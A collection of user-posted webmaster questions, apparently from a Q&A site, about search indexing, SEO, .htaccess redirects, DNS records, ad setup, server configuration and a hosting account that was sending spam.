text: It seems to take two weeks ish to get updates on to the google index, which seems fair enough as I imagine googles index of the whole internet could be rather large. However, the some changes to my sitemaps don't seem to be being picked up, and today noticed that indexed pages had gone done. The current status shows 118 pages indexed, however two days ago was at 119 with no changes to sitemap : ![enter image description here](http://i.stack.imgur.com/wUmIB.jpg)


title: Load Wikipedia sourced biographies via Ajax or render it with the rest of the page as part of the initial request?

text: Apparently Google Search ranks pages with unique content higher than pages that have content that is originally from somewhere else (e.g. 'Wikipedia'). In a web site I am building, I show some specific information about different influential people. Each person's page also includes an abstract about that person which is sourced from Wikipedia, as well as a read more link to the original Wikipedia article. In order to improve ranking of these pages, is it better to render this information inline so it is indexible by Google, or is it better to load it via Ajax, hence not visible to Google bots?


title: How do I change an existing custom domain with Blogger to a new custom domain

text: I have a Blogger site which has a custom domain which I want to move one old domain to new. Let's pretend this is `old-domain.com` and `new-domain.com`. I want to:   1. Preserve my search engine ranking as much as possible;   2. If any link to a page has the old custom domain in the URL, and this link is clicked on, it will redirect to a link with the new domain but with the same page. (For example, `www.old-domain.com/existing-page.html` should redirect to `www.new-domain.com/existing-page.html`.) **Does anyone know how I would go about this?** I know that if I had access to the _.htaccess_ file for the site, it would be an easy thing to do, but it seems that Blogger does not expose this. I have heard that using meta refresh is not a good idea if you want to preserve search engine ranking, so that's out. Blogger provides a UI that lets me add custom redirects, but I would have to do this for the thousands of pages on my site, so this isn't practical (unless there's an API that Blogger provides that lets me add these redirects very quickly).


title: My shared hosting account is sending spam emails

text: My webhost has deactivated my shared hosting account, since it was sending spam emails through my domain. I have all unrouted mail such as `mailto:aasdasd@domain.com` set to be forwarded to a specific email account, and in that account I did found thousands of returned email in this form (my domain appears as "mydomain.com"):               This message was created automatically by mail delivery software.          A message that you sent could not be delivered to one or more of its     recipients. This is a permanent error. The following address(es) failed:            john.peterson40@verizon.net         Domain mydomain.com has exceeded the max emails per hour (125/100 (125%)) allowed.  Message discarded.       stephengirten@live.com         Domain mydomain.com has exceeded the max emails per hour (125/100 (125%)) allowed.  Message discarded.       noely.29@homaiel.com         Domain mydomain.com has exceeded the max emails per hour (125/100 (125%)) allowed.  Message discarded.       tpm@nc.rr.com         Domain mydomain.com has exceeded the max emails per hour (125/100 (125%)) allowed.  Message discarded.       wes.titus@gmail.com         Domain mydomain.com has exceeded the max emails per hour (125/100 (125%)) allowed.  Message discarded.          ------ This is a copy of the message, including all the headers. ------          Return-path: <di@mydomain.com>     Received: from [37.99.92.80] (port=53818 helo=[192.168.1.01])             by sw2.scarabweb.com with esmtpa (Exim 4.82)             (envelope-from <di@mydomain.com>)             id 1XGu1e-000JKY-Qy; Mon, 11 Aug 2014 14:08:55 -0400     X-AntiVirus: Checked by Dr.Web [version: 8.0.0.11070, engine: 8.0.0.10160, virus records: 3408234, updated: 26.11.2012]     Subject:     From: Di <di@mydomain.com>     Content-Type: text/plain;             charset=utf-8     X-Mailer: iPhone Mail (10A403)     Message-Id: <47A5FF9D-20F1-8A4A-BCC4-24625FA7655F@mydomain.com>     Date: Mon, 11 Aug 2014 09:55:01 -0700     To: "john.peterson40@verizon.net" <john.peterson40@verizon.net>     Content-Transfer-Encoding: quoted-printable     Mime-Version: 1.0 (1.0)          http://saflex.ca/best_worldwide_drugtore.htm     Sent from my iPhone=      The first time it happened, my webhost didn't provide any useful help, and I've just ended up changing my password (such as ftp password), and got my account re-instated. but now, a day after, this is happening once again, and the account was deactivated again. I do not run any scripts on my website such as wordpress, everything is simple .php as far as i know.


title: A safe way to allow upload of all file types?

text: By default WordPress restricts the file types that can be uploaded to `/uploads` using the default Media Manager. I know it is possible to manually extend the allowed file types. I also know it is possible to change `functions.php` to allow all file types to be uploaded. This restriction obviously exists for security concerns - e.g. someone could upload a harmful `.exe`. Would it not be possible to allow secure upload of all filetypes by setting the permissions of the `/uploads` directory to prevent execution of any of its contents? Thus it wouldn't matter if someone uploaded a harmful file because it would not be executable on the server...


title: How do I set up DFP to show one set of ads for US/UK and AdSense for everywhere else?

text: As a followup to this question, I'm setting up DFP for a blog and need to show one set of creatives to users from the US or UK, and just let AdSense fill in that ad unit when the user is coming from outside the US or UK. I've been playing with DFP and the interface isn't terribly difficult... I have already defined my ad units and uploaded creatives. (I also understand how to set placements to geotarget.) However, I'm not sure how to put the pieces together-- for example, I don't know _exactly_ how to configure DFP to use adsense ads when the geotargeting doesn't match US/UK. Can someone give me a brief step-by-step answer to accomplish this goal?


title: Is it possible to reference images outside the domain root?

text: I have a website with a file structure a bit like this....               /webroot/folder1/main            - php, css etc files in here     /webroot/folder1/data/images     - images in here      I.e. `www.mydomain.com/index.php` will point to the files in `/webroot/folder1/main/` And, for example, in .css there might be a reference to an image like this...               background: url(../data/images/sprite1.png);      It is not picking up the images. I guess this is because the `../` wants to go up a level but the website thinks its at the root already so it cant go up? Is this normal, should I have expected this to happen? Or there a way round it? (I know I could move images as a sub-directrory of main but I have lots of google map image tiles etc in here and this would make backup difficult and I'd need to change all my tile generation scripts etc.) I thought of pointing the domain at `/webroot/folder1/` and doing an .htaccess reWrite to silently go to `/webroot/folder1/main` but I couldnt get it to work.


title: Which CMS is this (from screenshot)?

text: Does anyone know what CMS this is? Thanks!! ![MA WebCenters Web Site Manager](http://i.stack.imgur.com/ntW9l.jpg)


title: Illegal iphone app for website

text: I have a web site and someone had made an iphone app for my site without my permission and selling it. He is using my API without getting permission. How can i report this to Apple? EDIT: AFAIK, there's no way to report this to Apple. I blocked all requests from the iphone app.


title: Gzip compress offline?

text: I've configured my site to serve compressed content by putting this line in .htaccess               AddOutputFilterByType DEFLATE text/html text/plain text/xml text/javascript text/css application/javascript application/json      This works perfectly for almost all files except a few large JSON files that are above 200Kb. For some reason they are not being compressed. I see that they don't using the net tab in firebug and the Network section in chrome. So as a workaround I thought I could compress these files offline and have Apache read them compressed.   What tool should I use to compress them? is the linux gzip the one? any special flags or something I should use?   What should I put in .htaccess so that the server would know to serve these files with content-encoding gzip ?


title: duplicate meta description even though link is removed?

text: I thought this was just webmaster taking it time to catch up but it has been there for weeks now and webmaster crawled as recently as 16th May. I am being advised in HTML improvements the below but I changed the URL on the page from: `/catalog/plant/concrete-preparation/` to `/catalog/tools/concrete-preparation/` So I cannot see why it is still alerting me? _Pages with duplicate meta descriptions_ www.contractorshire.co.uk/catalog/ **plant** /concrete-preparation/ www.contractorshire.co.uk/catalog/ **tools** /concrete-preparation/


title: Single-page-apps and alternate / canonical URLs for mobile websites

text: I have a "normal" website and I am currently developing a mobile version of the site. Because of the complexity of the shown information, I am using a separate domain (mysite.mobi) and no responsive solution. The site is built as a single-page-app using jQuery mobile. The main workflow is that I am using a custom parameter attached to my main file (mysite.mobi/index.htm#forecast?location_id=1234). It will then fire an AJAX-request and fetch the content corresponding to the forecast for the location_id 1234. The desktop website URL would be something like mysite.com/forecast/1234. Now I am thinking about how to get my mobile search results displayed in Google searches. According to their recommendations, I should use a `link rel=alternate` tag in the main page and add a `link rel=canonical` tag to the mobile site. There is the problem - as I am using a single page webapp, I only have a single crawlable file on my mobile domain where I could add this tag. However I can not get this tag to reflect the correct location on my main site. What are the best practices for using a single-page-app and canonical URLs?


title: "302 found" for index page bad for SEO?

text: I'm having trouble finding a clear answer on this. I'm optimizing someone else's website, and a tool pointed out that the index page returns a "302 found" (it redirects to a long URL with cookie info). Is this bad for the index page SEO to have a 302 redirect?


title: How to synchronize local files with those on the remote server whenever they change?

text: I need to synchronize the project folder on my local machine with the same folder on the server so that when I change the local or the remote file they are immediately synchronized. How can I do this?


title: best way to import 500MB csv file into mysql database?

text: I have a 500MB csv file that needs to be imported into my mysql database. I've made a php file where i can upload the csv file and it analyses the fields n stuff and does the actual importing. but it can only handle small fiels max 5mb. so that's a 100 files and actually pretty slow(uploading) is there another way? I have to repeat this process every month because the data in the file changes every month it's about 12 000 000 lines :D


title: Why are new pages not being indexed and old pages stay in the index?

text: I currently have a site that was recently restructured, causing much of its content to be reposted, creating new URL's for each page. To avoid duplicates, all of the existing pages were added to the robots file. That said, it has now been over a week - I know Google has recrawled the site - and when I search for term X, it is stil the old page that is ranking, with the new one nowhere to be seen. I'm assuming it's a cached version, but why are so many of the old pages still appearing in the index? Furthermore, all "tags" pages (it's a Q&A site, like this one) were also added to the robots a few months ago, yet I think they are all still appearing in the index. Anyone got any ideas about why this is happening, and how I can get my new pages indexed?


title: Is doing A/B tests using site redirection a bad practice?

text: I'm developing hotels websites here in Brazil. When the site is done, we do an A/B test with the old version to measure conversion and show to the hotel owner how good our site is. Due to the fact that I cannot put the old site inside the new one as a sub- resource (`newone.com/old`), currently I'm doing those A/B tests as follows:   1. I create 2 Google Analytics accounts, one for each site (old and new);   2. I put the GA tags in the old website pages (changing its possibly existent GA ID to the just created one);   3. I put an JavaScript code that redirects the user to the old website (in a different URL and different domain) with 50% of probability. So I compare all the metrics, events and goals between those two GA accounts. How bad is this approach? How Google can interpret the fact of being sometimes redirected, sometimes not? The experiment usually runs for 2 weeks. Is there any other alternative for doing this in a better way?


title: Tips on hosting a non-web framework based application on a Windows host (i.e. - not IIS, Apache, etc.)?

text: I've tried to research this question on the web using Google but anything related to hosting almost invariably brings up a ton of pseudo- review/affiliate sites. I need to host a Windows application on a server that is not based on a standard web framework. In other words, I want to run a standard compiled EXE that handles the socket operations itself without using IIS or Apache or any other web server framework. I just want to receive HTTP/Socket requests direct to my application that will be listening on various ports and I'll take it from there. The application is not meant to be a public server, but a back-end to a public server that provides certain high-speed functionality to the public server (or servers) over the web. I guess a good corollary would be an API server but in this case the API will only used by my public servers. The EXE program running on the back-end server will need to access to MySQL. I am hoping to have MySQL running as a Windows service on the box just like I do when doing development from my Windows box in my office. Has anybody else done this and if so, can you give me guidance on:   * What kind of dedicated box should I get? I'm not asking the question from a performance or estimated number of users to support viewpoint. That's obviously dependent on too many other factors. Just what kind of box will give me the right mix of database/web performance but at the same time isn't overkill since I'm trying to control costs. For example, is a typical quad core with a healthy amount of memory sufficient or do you really need to get into something like a high power Xeon with tons of memory? The EXE will be doing a lot of database access work but only minimal floating point activity. That is, it's light on the calculations but heavy on the table accesses.   * What tips can you give me for things that could really eat me alive as far as bandwidth and other ancillary costs? I can't ask the question any better because I am looking for the things unforeseen by a novice like myself in this area that an experienced person can immediately relate to a past horror or success story. Note, I have done plenty of LAMP stuff so I'm not a novice in that capacity but I've never done any Windows hosting.   * What kind of Control Panel should I be looking for that will do the best job of making me feel like I've got a remote Windows desktop instead of a suite of awkward utilities I have to pilot to get things done?   * Any Windows hosting caveats I should be aware of? Things an Apache/Linux person would run headlong into due to inexperience?   * Are there ISPs that can offer you a dedicated server that will only be available on their Intranet, to another server you rent from them? I know that may be a dumb question because I'm guessing I can just control access via the requester's IP address, but I'd prefer to keep the back-end server completely out of public view.   * Anything else you can share?


title: tool for google adsense account analysis (app)

text: does any one know of a tool to analyse my google adsense traffic / clicks ... preferably a desktop solution... Something which provides more advanced and easy analysis reporting solutions then adsense thanks


title: Should we date our e-mail addresses

text: I have a website I'm administering for a volunteer organization that has a big staff turn over (annually - the team working in 2014 is almost completely different from the team for 2013 as the team for 2012, etc.). Is it worth while appending a year to the e-mail address, or should I just reassign the same e-mail address each year? Previous admins have used a pattern of webmaster2012@address.com, webmaster2013@address.com, webmaster2014@address.com for each year's webmaster. I'm thinking of changing the pattern to just webmaster@address.com, and reassigning the account to the new chair and resetting the password. It seems this is the way government works (where there's an election every few years and ministers and geographical representatives will change, but the position stays). The positive I see to appending the year, is that once one year's account gets added to spam list, the next year's is spam free until it gets collected again. The negative I see to appending the year, when the departments are handed over to the new team, they've got no history and any late e-mail coming into webmaster2013@address.com With the undated e-mail address, the only negative I can see is the continued spam, but I think that is inevitable. Have I missed anything else?


title: mod_rewrite with Apache -> mod_jk -> tomcat

text: Related to some of my earlier questions. I now have a setup I quite like; Apache httpd listening on port 80 accepting http and https connections. Several Tomcat instances running on several AJP ports. Mod_Jk is sending different url requests to different tomcat instances;               www.mydomain.com/demo -> tomcat:8101     www.mydomain.com/test -> tomcat:8102     www.mydomain.com/     -> tomcat:8100      This is achieved with the following config in httpd.conf (or included sub files);               LoadModule jk_module modules/mod_jk.so     JkWorkersFile conf/workers.properties     JkLogFile logs/mod_jk.log     JkLogLevel info          NameVirtualHost *:80          <VirtualHost *:80>         JkMount /demo* demoTomcat (workers.properties not shown)         JkMount /test* testTomcat         JkMount /* rootTomcat     </VirtualHost>      And this all works great. I also have SSL setup and running for https connections using a similar VirtualHost tag;               <VirtualHost _default_:443>         JkMount /demo* demoTomcat          JkMount /test* testTomcat         JkMount /* rootTomcat     ... SSL Stuff follows ....      What I'm now having trouble is that my SSL Cert is only for www.mydomain.com and NOT mydomain.com. I've been advised to use the follow mod_rewrite calls;               Options +FollowSymlinks     LoadModule rewrite_module modules/mod_rewrite.so     RewriteEngine On     RewriteCond %{HTTP_HOST} !^(www\.|$) [NC]     RewriteRule ^ http://www.%{HTTP_HOST}%{REQUEST_URI} [PT,L]      I've placed these before before and after the mod_jk rules in the httpd.conf file. Apache was at first complaining that RewriteEngine was an invalid command, but that went away when I remembered the LoadModule command first :) Now Apache restarts just fine, the server starts and accepts requests and everything works the way it use to ... but thats just it, these mod_rewrite commands appear to have no effect? I type `http://mydomain.com` into the browser and I just get my website as per normal. The url does not appear to change to `http://www.mydomain.com` and when I start to access the secured areas I get warnings that `mydomain.com` is NOT secured and is serving me a cert from some other website called `www.mydomain.com` (why this is an issue at all and it can't just use some logic to realise its the same site, I don't know!). Am I placing the mod_rewrite rules in the wrong place? I've read that it should work, the rewrites should change the url to www. and then pass through to the mod_jk stuff for anything further?


title: using .htaccess to redirect .asp to .php?

text: Ahoy all! I've been racking my brain with this one. I basically just converted all of my pages from ASP code to PHP code. Kept the same filenames. So, here is the htaccess code I have so far, but it keeps redirecting to my ROOT.... ie /home/accountname/publc_html... What am I doing wrong?               RewriteRule (.*)\.asp $1.php [R=301]


title: Multiple servers - crash safe

text: I have 2 servers on different networks. Both of them host different website (one is CentOS powered another one is using Mint). How do I assure maximum uptime? In case one server is overloaded how to automatically redirect required traffic to another server? Content of the website change on daily basis, how to provide new content to another web-server (basically I could post new content to another website and add it there also, or create a cron to download new content once a day), is there better solution? Is this done with DNS servers? I don't really understand purpose of slave zone.


title: Bounce rate issues

text: I currently have a site which shows the best uk speaker deals and I am having bounce rate problems. The site simply allows the user to search for the best deals and then go to the provider’s site (this is a non profit site). What I didn’t anticipate is that people are going straight to the deal details from Google (organic) and missing out the listing pages. The users then either go off to the deals or bounce. Either way my bounce rate is quite high at 54% and my event tracking says 25% of people are clicking on my ‘go to deal’ button (example). Overall I wish to lower my bounce rate so that Google doesn’t think my site is bad and hopefully make a more pleasant experience for my users. Questions:   1. Do you think the site/ user would benefit from a page in-between the link button and the provider’s page. This would say something on the lines of “you will now be transferred to the providers site in 5 seconds”. This therefore warms up the user to the new website and cancels out the bounce.   2. Given that I have an Analytics Event on each ‘go to deal’ button, will Google recognise this and not consider it a bounce?   3. Should I put less emphasis on the ‘go to deal’ button and more availability to go to other products on the site.   4. Is the page taking too long to load therefore the analytics code doesn’t register?  Home of the website - http://www.soundplaza.co.uk Thanks


title: Is it a good idea to add robots "noindex" meta tags to deep low content pages, e.g. product model data

text: I'm considering adding robots "noindex, follow" tags to the very numerous product data pages that are linked from the product style pages in our online store. For example, each product style has a page with full text content on the product: http://www.shop.example/Product/Category/Style/SOME-STYLE-CODE Then many data pages with technical data for each model code is linked from the product style page. http://www.shop.example/Product/Category/Style/SOME-STYLE-CODE-1 http://www.shop.example/Product/Category/Style/SOME-STYLE-CODE-2 http://www.shop.example/Product/Category/Style/SOME-STYLE-CODE-3 It is these technical data pages that I intend to add the no index code to, as I imagine that this might stop these pages from cannibalizing keyword authority for more important content rich pages on the site. Any advice appreciated.


title: Font resizing widgets: worth it?

text: I see some text-heavy sites implement the little JavaScript widgets that allow you to choose smaller or larger text sizes on sites. (e.g.: as described on the Guardian's website) Are these little widgets worth the screen real estate they take up? If you have them on a site you webmaster, do you run any metrics to see if they are used? Thoughts and studies on the usefulness of these widgets would be welcome.


title: Procedure to register an URL

text: this is a newbie question. I want to set-up a web site (let call it www.mywebsite.com) on a server I own with a public IP address:   1. What is the precise procedure to register the URL? What I mean is, how to tell the world that requests to www.mywebsite.com should come to my server?   2. Is this a free procedure?   3. I guess I cannot use any name for my URL. What are the rules? Thanks.


title: .htaccess 301 Redirect Hash Tag Redirect

text: How do I do a .htaccess redirect that has a hash tag in it? Example Source: domain.com/#/subdir Target: newdomain.com/whatever/something Everything I've tried ignores the hash tag and either doesn't redirect at all, or redirects at the top level. Any help would be appreciated.


title: Soft 404 error on redirected outbound links

text: I have a redirect script on my site which sends visitors to an affiliate site. However in the last month I've noticed that Google webmaster tools is reporting my outbound links as a 404 error. Here is the breakdown on how its setup: My outbound links are coded like this:               Link Title      My redirect script will then perform a 302 redirect to the affiliate link Originally I had the affiliate links (CJ) directly in the HTML, however I noticed over time that this had some impact on my sites traffic. So I changed them to a redirect script and my traffic returned. This seemed to work with no issues for over 1 year but now I'm getting soft 404 errors in Google webmaster tools. I did try adding a rule in my robots.txt to block any links starting with /f/ but I'm not sure if this will help or Google will still report soft 404 errors. I am considering as possible options to change the **a** tag to a **button** tag and use an onclick event to load the link.


title: Where to advertise small open-source projects

text: I am searching for a good recourse where I can advertise my open source project. I have made a web-development framework which I want to make available to download, and I want to target a large audience. It is an open source project so I make no money off of it, so I do not really want to pay for advertisement. I already pay for the server where the website runs, and I have spent a lot of time developing it. I opened account on various search engines webmaster tools, so people can find it on there. I have also made a video-sharing account where I uploaded a few tutorials. This can accumulate some traffic also. Can someone recommend any more places to get your work spread.


title: htaccess block access to directory but allow access to files

text: I need to block directory access but allow access to files if typed into a browser. Also would like this to load my custom 403.shtml


title: How do you force search engines to show main categories of your site in snippet?

text: If you search "reddit" or "youtube" or many other sites in a major search engine, you will obtain the title of the site, the meta description, and links to its major categories right below such as 'music', 'funny' etc. Does anyone know how to manipulate your page to get the search engine to index your pages with links that you want displayed below your site description? Is there a meta tag I am missing or a tag I should add to these links?


title: Is it possible to check Page Rank of a site without the Google toolbar?

text: I am just getting started in SEO, and I want to check the Page Rank of one of my sites. All google docs say to use their toolbar to check Page Rank. However I'm using Chromium. I _could_ check with Firefox, but I'm curious if there's a way to check the page rank without using it. I see many sites for checking it, but they all seem a little spammy.


title: What is the feature that imports URL information into Facebook and Google+?

text: I want to be able to import a heading, short description, and an image into my website, just using a link. I am using Joomla but can switch to any CMS, or try to build an extension myself. The problem is, I don't know where to look for example code, or what to look for. To me it doesn't seem like too difficult a process. Also, the code must be out there, with a little tweaking I can probably use someone else's, but I don't even know what to search for.


title: Adding Microdata to a website of company listings

text: Let's say you have a website that is akin to the YellowPages. It is a listing of lots of other companies. Should you place microdata about each company on each company listing page? Or should you just put Microdata about the "Yellow Pages"? For example:               http://www.lots-o-companies.com/supplier/joes-florists      Do I put all the Microdata on the page to be about Joe's Florists, or the parent website, Lots O' Companies? I'm not quite sure how Google wants this data? On a site level, or a page content level?


title: Will HTML that is in fact text have an impact on SEO?

text:
My website's dreadful search performance has always been a mystery. It could just be short, concise content but I believe it's something bigger. My site is a crowdsourced map - people contribute images and add a short description. I noticed though that the html of the description is not contained in any html tags. For example:

Description
     Welcome to Ushahidi. Please replace this report with a valid incident

      The example description here is the sample report that comes with the platform that I use. It could be an oversight but surely the text "Welcome to Ushahidi. Please replace this report with a valid incident" should be in a `<p>` element. Most of the content on the website is made up of hundreds of pages with these short descriptions. But if they are not contained in any html tags will that impact things? Attached is a screen shot of how Google Chrome's inspect element sees the html - simply as plain text. ![enter image description here](http://i.stack.imgur.com/nU8DO.png) Does having "HTML" of this nature impact search?


title: 403 Error Fetching Image with JS

text: I've read all the 403-related questions here and elsewhere and I can't find an answer to this question: When I try to get a particular image on a remote domain via JavaScript I get a 403 error. But if I type the same exact image URL in the same browser, the image is downloaded and displayed without errors. Same (success) if I try getting it via PHP. Here is a fiddle with a live example of the 403 (visible in the debug console): http://jsfiddle.net/8VfrQ/ Then, just copy and paste the `img.src` link in the browser and you'll see the star displayed. Thanks for any hints.


title: How do my A records have to look like - are these correct?

text: I'm using some fictional IP addresses here, but the problem is real. My default A Record:               * # this is for anysubdomain.example.com, I suppose     @ # and this is for example.com     www # this is for www.example.com      There are also these entries. What do they do in this context? My MX records are elsewhere.               mail     webmail     pop     smtp      Now I'd like to point to my own server. Let's say that my IP is `1.2.3.4` I would then write:               * 1.2.3.4     @ 1.2.3.4     www 1.2.3.4      Is that correct? I read something about `* IN A 1.2.3.4` - what's that notation? Assuming my application runs on `1.2.3.4:80`, everything should be fine, right? I am new to the A records concept and I'd like to ask before changing and deconstructing my system.


title: SEO affect of a small sister site

text: I have a client who is keen to add a small landing page style site, since he has had a very popular URL purchased for a number of years but never actually used it. He wants to add some content and provide plenty of links to the main site. I know there is black hat SEO practices such as Doorway pages, but we want to actually add content rather than just redirect users. What are peoples thoughts on this? Where is the line between blackhat SEO and good practice in this instance?


title: Joomla 2.5 - Password to backend lost

text: Can I recover the backend password for Joomla 2.5?


title: Can I put AdSense in a site that was refused before?

text: I have a blog in Arabic. I collect English blog posts, translate them and re- post them with a link to the source. I applied for an AdSense account and my site was refused. The question is, can I put AdSense code in this same site from a friend's account? If I did so, will AdSense close my friend's account?


title: Switching off IE8 Compatibility View

text: I have a site which works fine when accessed from a remote web server. It runs (on IE8, which is what my organisation uses) with:   * Browser mode: Internet Explorer 8   * Document mode: Internet Explorer 8 Standards However, when I open the same site from `localhost`, using the same browser, I get:   * Browser mode: Internet Explorer 8 Compatibility View   * Document mode: Internet Explorer 7 Standards With the tag `<meta http-equiv="X-UA-Compatible" content="IE=8" />`, I can fix the document mode to IE8. However I can't lose the Compatibility View - and this is causing some aspects of my site to break (specifically, some AJAX functionality). Do you have any idea (a) why IE8 is rendering my site in Compatibility View from `localhost` when it renders normally on a remote server, and (b) how to prevent/circumvent this problem? Thank you.


title: Do you have to be in the United States to file a DMCA complaint?

text: I understand that DMCA complaints only work for search engines and webhosts which are based in the US. However, does the person filing the complaint also have to be in the US, or can anyone in any country file a complaint to a US host?


title: No pagerank on sites-listing pages in Directories

text: I started researching directories to add my website and noticed a pattern - in every directory the page with links to websites has no Pagerank, while a page one level above can have quite high Pagerank. For example: http://dir.yahoo.com/entertainment/music/artists/arrangers/ - no PR. http://www.submissionwebdirectory.com/computers_and_internet/product_information_and_reviews/ - no PR. In both cases a page one level above has PR5 (sorry I can't post more links due to my new account low rep) Does Google deliberately do this to discourage us to use directories for links? Does it mean that there is no link juice from such pages?


title: Forward a 'non-existant' subdomain to a 'physical' subdomain

text: How can I forward a 'non-existant' subdomain to a 'physical' subdomain? I.e.: `api.website.com` -> `api.company.com` Where the first is just a CNAME pointer and the last is a real subdomain with a root. At `website.com` I have:               api CNAME api.company.com.      At `company.com` I have:               api.website.com CNAME api.company.com (also tried this with just API)     api.company.com A 1.2.3.4


title: Should the most important page for SEO be my homepage?

text: I have a website that over time has accumulated a few hundred links, mainly on the homepage. It markets an iPhone app and we didn't optimize it for SEO. Recently, we launched a more professional tool on the site for businesses, where SEO is critical. That other page is better optimized and starts to rank better but has a lot less external links than the homepage (less than 10 root domains point to that other page, even though it gets internal links from almost all pages on my site). Do you think I should move that page to my homepage to rank better?


title: How is github so fast?

text: When you browse repositories on github ( for example https://github.com/mojombo/jekyll/tree/master/bin) it feels like it uses ajax and does not reload the whole page every time. However the url really changes (not just after the # ). I already found this article where they write about their backend: https://github.com/blog/530-how-we-made-github-fast But is this really the whole trick? My pages never feel that fast and I am already using yslow to optimize it.


title: Building a SEO friendly ecommerce navigation

text: I'm building a tire ecommerce website, and i'm doing some SEO strategy before i move on. My plan is to let the user use a filter-based navigation where you can filter tires by type, size, speedlimit etc. But i want Google to index my products, so i've chosen to create a link navigation, which is replaced by the filter-form using AJAX. This way Google can index my products by links and the user can navigate the products using filters. So far, so good... My first question is: if i submit all my products using an XML sitemap, are the links (which are gonna be replaced with the form) neccessary? Or are they just excess? My next question is regarding the structure of the "Google navigation" (the navigation Google bot will use, but not the user).               Select type (summer, winter etc.) -> Select brand -> Select model -> Product page     Select brand -> Select type -> Select model -> Product page     Select brand -> Select model -> Product page     Select type -> Select tire (all brands+model listed of type) -> Product page     Select tire (all types listed) -> Product page      I'm torn on which structure to use, or if it even matters at all. I see some pros and cons on each of them:   1. To far down hierarchy, possible duplicate content (each tiretype page (summertires, wintertires etc.) would have almost the same brands as the other tiretype pages).   2. Same as above.   3. One less level to travel. Potentially many products at the 2nd level (i've read somewhere that one page should have around 100 links max.)   4. Same as 3, would have even more products at 2nd level.   5. All products listed in one page by Brand+Model. ALOT of products listed. Still not sure if this is bad though? Then the final product page would be only 2 clicks away from frontpage. Should i index all the products i can, or should i have a selection of products, to precise the focus? Any good inputs on what to do here? Am i just overdoing things?


title: Google Webmaster Tools shows huge dip, not consistent with real world

text: Here is Webmaster Tools and Google Analytics. ![enter image description here](http://i.stack.imgur.com/FJGOA.png) ![enter image description here](http://i.stack.imgur.com/qgwej.png) The Analytics one is correct (because I would know if my traffic dropped 90%... the phone would stop ringing. Is GWT smoking crack? Have you seen this before? Can this be fixed?


title: Do Google/Twitter etc actually use distributed servers to serve their resources?

text: I'm trying to optimize my website and running a few tests using webpagetest.org. I tried the test from Singapore and Hongkong. I saw that while all facebook, quantcast, chitika scripts were loading from singapore/hongkong servers, but jquery (google hosted), plusone.js, twitter etc were loading from the mountain view/palo alto/cambridge servers. Since I'm using cloudflare, I can see that one of the JS files that I host on my server was actually loading from one of cloudfare's singapore servers. So is there a real benifit of using google hosted jquery etc? Sample test results are here 1) For my website's home page (http://www.humbug.in) - Test Location Singapore http://www.webpagetest.org/result/110904_89_1G8RF/1/details/ 2) For the url of this question - Test Location Amsterdam http://www.webpagetest.org/result/110904_B6_1G93M/1/details/ In both cases jquery is being loaded from mountain view servers


web designer question - How to create a dynamic paragraph or any text in an html file? I mean the < p>If I want to change this text portion< /p> I am a web designer who just know, html, css, adobe dreamweaver, photo shop and corel draw.


title: Google Analytics: Value ecommerce transaction value

text: I have problem with the ecommerce goals in google universal analytics. I would like to set up a URL goal to signal the completion of an e-commerce transaction. So the manual says that I have to leave the Goal Value field blank. But I can´t! It says that I have to put a number. So if a set this field to "No" it doesn´t takes any value from ecommerce tracking and if I try to set up this field to "Yes", I have to put a value and it doesn't take the value from ecommerce neither... Is it possible that this variable value option is not well implemented in Universal?? I'm stuck!


title: In Google Analytics real-time how is it determined if a user is a mobile, tablet or desktop user?

text: In Google Analytics real-time visitors, how does Google determine if a user is a mobile, tablet or desktop user? By resolution of the device? By browser headers (seems unlikely because I believe it's hard to differentiate different headers) or some way else?


title: The word "logo" is appearing in all my SERP, but it's not in my page titles

text: When I search for my website in Google, the word "logo" is being displayed in all the results, but I didn't specify the word "logo" in the titles of my HTML pages. See the following screenshot: ![enter image description here](http://i.stack.imgur.com/gBNlw.png) Can anyone tell me why the word "logo" might be appearing in my SERP like this?


title: Magento checkout with Paypal

text: I've setup paypal on Configuration > Sales > Paypal a thousand times, but still not getting the Paypal option listed in the Payment methods on the Checkout process. And yes, I have filled out all the required info like the API credentials and such. Also, I'm not getting any errors from Magento at all. This is driving me crazy and it seems that no one (as far as I see) has gone throught this situation. Thanks in advance.


title: How do SSL certificate authorities verify domains?

text: What is a reasonable and reputable SSL certificate signing authority -- **and how do they verify the domain in the simplest case?** Do they simply send an email to the Technical Contact for the domain name like when initiating a transfer, and then boom, verified certificate?


title: What is the online survey/feedback widget that looks like "[+]" (a crosshair) in the bottom right

text: I'm trying to setup a site rating survey so marketing in my company can gather feedback information about a site. I've seen before large companies using a tool which puts a small animated crosshair in the bottom right of the screen [+]. what on earth is this company called? multiple searches don't seem to bring it up!


title: Discrepancies between visits recorded in analytics and clicks reported in AdWords

text: According to analytics, there were only 730 visits on the page. According to AdWords, there were about 1200 clicks on the ad. How can I track what is going on? Shouldn't I have the same number of visits and clicks?


title: Any good reason to noindex /page/2/ in archives?

text: In the Wordpress SEO plugin by Yoast, there is an option that could noindex the subpages of archives. From example, it would noindex the following:               http://mysite.com/page/2/     http://mysite.com/page/3/     http://mysite.com/page/4/      ...and so on. Is there a good and legitimate reason to do this, in terms of SEO? Would it benefit me in any way?


title: .htaccess and .htpasswd throwing 500 internal server error

text: I've created a .htaccess and a .htpasswd file, both using my hosting's tool, uploaded them, and I get an error when I try to view the directory. Why? my .htaccess file:               AuthName "Restricted Area"      AuthType Basic      AuthUserFile /home/u947248131/.htpasswd      AuthGroupFile /dev/null      require valid-user


title: Problem with IIS 8 ASPNet Application Pools

text: I am in the process of converting a number of .Net 2.0 applications from IIS 6 to IIS 8. Each site runs under its own application pool and has an unique domain user assigned to it. All of those domain accounts belong to a domain group called ASPNET_Accounts, which I have assigned to the machine's IIS_IUSRS group. When I try to access a site for the first time, I get the following exception. > Catastrophic failure (Exception from HRESULT: 0x8000FFFF (E_UNEXPECTED)) > > [FileLoadException: Could not load file or assembly 'Microsoft.JScript, > Version=8.0.0.0, >Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' or one > of its dependencies. Catastrophic >failure (Exception from HRESULT: > 0x8000FFFF (E_UNEXPECTED))] If I immediately refresh the page, the application works and will work until the webserver or application pool is refreshed. Then it will give the same error. I tried running the application using the pre-supplied '.Net v2.0' application pool and the error did not occur. I then created a new application pool that matched the settings of '.Net v2.0' and used the ApplicationPoolIdentity setup instead of a domain user. The previous error returned. My hunch says it is some permission issue with the Framework files, but I have tried everything I can think of. ProcMon hasn't given me anything to really go on.


title: How to prevent Google from indexing a static web page?

